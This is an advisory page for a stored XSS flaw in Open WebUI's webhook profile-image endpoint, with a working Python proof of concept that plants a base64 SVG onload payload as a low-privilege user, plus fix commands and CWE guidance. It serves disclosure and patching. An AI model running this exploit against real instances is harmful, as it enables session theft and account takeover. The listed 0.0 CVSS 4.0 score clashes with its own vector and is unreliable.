Skip to content

GHSA-3856-3vxq-m6fc CVE-2026-45314 PYSEC-2026-2694

Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image

Medium PyPI
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.22%
Chance of exploitation in the next 30 days. Higher than 12.53% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-87 Improper Neutralization of Alternate XSS Syntax
Fix
0.9.3
Upgrade open-webui to this version or later

Description

As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.

Summary

The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.

Details

The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.

PoC

  1. Set up a new instance of Open WebUI and log in as admin
  2. In the Admin Panel, enable Channels (Beta) and click Save
  3. Create a low-privilege user in the Users tab
  4. As the attacker, use the low-privilege user to run the following script:
import base64
import secrets

import requests

BASE_URL = "http://127.0.0.1:14000"
EMAIL = "low@local.test"
PASSWORD = "low"

CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'

if __name__ == "__main__":
    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    r = s.post(
        f"{BASE_URL}/api/v1/auths/signin",
        json={"email": EMAIL, "password": PASSWORD},
        timeout=30,
    )
    r.raise_for_status()
    s.headers["Authorization"] = f"Bearer {r.json()['token']}"

    r = s.post(
        f"{BASE_URL}/api/v1/channels/create",
        json={
            "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
            "type": "group",
            "user_ids": [],
            "group_ids": [],
        },
        timeout=30,
    )
    r.raise_for_status()
    channel_id = r.json()["id"]

    payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
    r = s.post(
        f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
        json={"name": WEBHOOK_NAME, "profile_image_url": payload},
        timeout=30,
    )
    r.raise_for_status()
    webhook_id = r.json()["id"]

    print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")

This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:

http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image

<img width="1079" height="222" alt="image" src="https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df" />

Impact

Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.

Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.

Original Agent Report

<img width="400" alt="app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)" src="https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df" />

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.9.3
0.9.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.9.3

pip
pip install --upgrade "open-webui>=0.9.3"
poetry
poetry add "open-webui>=0.9.3"
uv
uv add "open-webui>=0.9.3"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-87: Improper Neutralization of Alternate XSS Syntax

The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

How to prevent it
  • Implementation: Resolve all input to absolute or canonical representations before processing.
  • Implementation: Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor